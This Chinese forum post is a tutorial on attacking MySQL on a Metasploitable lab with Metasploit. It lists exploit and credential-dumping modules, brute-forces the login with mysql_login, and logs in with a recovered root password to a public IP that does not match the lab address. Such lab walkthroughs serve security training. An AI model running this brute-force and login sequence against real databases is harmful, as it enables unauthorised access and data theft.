admin
发表于 7 天前
Metasploitable系统中，MySQL的身份认证存在漏洞。该漏洞有可能会让潜在的攻击者不必提供正确的身份证书便可访问MySQL数据库。所以用户可以利用该漏洞，对MySQL服务进行渗透攻击。<br><br>Metasploit框架提供了一套针对MySQL数据库的辅助模块，可以帮助用户更有效的进行渗透测试。基于Metaspliot渗透攻击MySQL数据库服务的具体操作步骤如下。<br><br>执行Msfconsole指令，操作指令和执行结果，如图所示：<br><br><img src="https://bbs.jfedu.net/jf_imgs/image293.png" alt="" style="max-width:100%;"><br><br>扫描所有有效的MySQL模块，操作指令和执行结果，如图所示：<br><br>search mysql<br><br><img src="https://bbs.jfedu.net/jf_imgs/image296.png" alt="" style="max-width:100%;"><br><br>auxiliary/admin/mysql/mysql_enum MySQL枚举模块<br><br>auxiliary/admin/mysql/mysql_sql MySQL SQL查询<br><br>auxiliary/analyze/jtr_mysql_fast 破解MySQL密码<br><br>auxiliary/scanner/mysql/mysql_auth MySQL密码认证绕过<br><br>auxiliary/scanner/mysql/mysql_file_enum MYSQL 文件/目录枚举<br><br>auxiliary/scanner/mysql/mysql_hashdump MYSQL 密码哈希值获取<br><br>auxiliary/scanner/mysql/mysql_login MySQL登录验证暴力破解<br><br>auxiliary/scanner/mysql/mysql_schemadump MYSQL Schema 导出<br><br>auxiliary/scanner/mysql/mysql_version MySQL信息枚举<br><br>auxiliary/scanner/mysql/mysql_writable_dirs MYSQL目录可写测试<br><br>auxiliary/server/capture/mysql 捕获MySQL认证凭证<br><br>exploit/linux/mysql/mysql_yassl_getname MYSQL溢出漏洞<br><br>exploit/linux/mysql/mysql_yassl_hello Hello 消息溢出漏洞<br><br>exploit/windows/mysql/mysql_mof Windows mof提权<br><br>exploit/windows/mysql/mysql_payload Windows上传漏洞提权<br><br>exploit/windows/mysql/mysql_start_up Windows启动项提权<br><br>exploit/windows/mysql/mysql_yassl_hello SSL Hello 消息溢出<br><br>使用MySQL登录扫描模块：auxiliary/scanner/mysql/mysql_login，操作指令和执行结果，如图所示：<br><br>use auxiliary/scanner/mysql/mysql_login<br><br><img src="https://bbs.jfedu.net/jf_imgs/image297.png" alt="" style="max-width:100%;"><br><br>查看该模块所有的参数和选项，操作指令和执行结果，如图所示：<br><br>show options<br><br><img src="https://bbs.jfedu.net/jf_imgs/image298.png" alt="" style="max-width:100%;"><br><br>指定渗透攻击的目标IP和用户字典&密码字典文件的路径，操作指令和执行结果，如图所示：<br><br>set RHOSTS 192.168.101.129<br><br>set user_file /tmp/users.txt<br><br>set pass_file /tmp/passwd.txt<br><br><img src="https://bbs.jfedu.net/jf_imgs/image299.png" alt="" style="max-width:100%;"><br><br>启动渗透攻击，操作指令和执行结果，如图所示：<br><br>exploit<br><br><img src="https://bbs.jfedu.net/jf_imgs/image300.png" alt="" style="max-width:100%;"><br><br><img src="https://bbs.jfedu.net/jf_imgs/image301.png" alt="" style="max-width:100%;"><br><br>根据如上图的攻击，MYSQL数据库密码被攻破，用户名为root，密码是：aaaAAA111.，通过MYSQL客户端指令登录数据库，执行如下指令：<br><br>mysql -h120.92.111.191 -uroot -paaaAAA111.<br><br><img src="https://bbs.jfedu.net/jf_imgs/image302.png" alt="" style="max-width:100%;"><br><br><img src="https://bbs.jfedu.net/jf_imgs/image303.png" alt="" style="max-width:100%;">
页:
[1]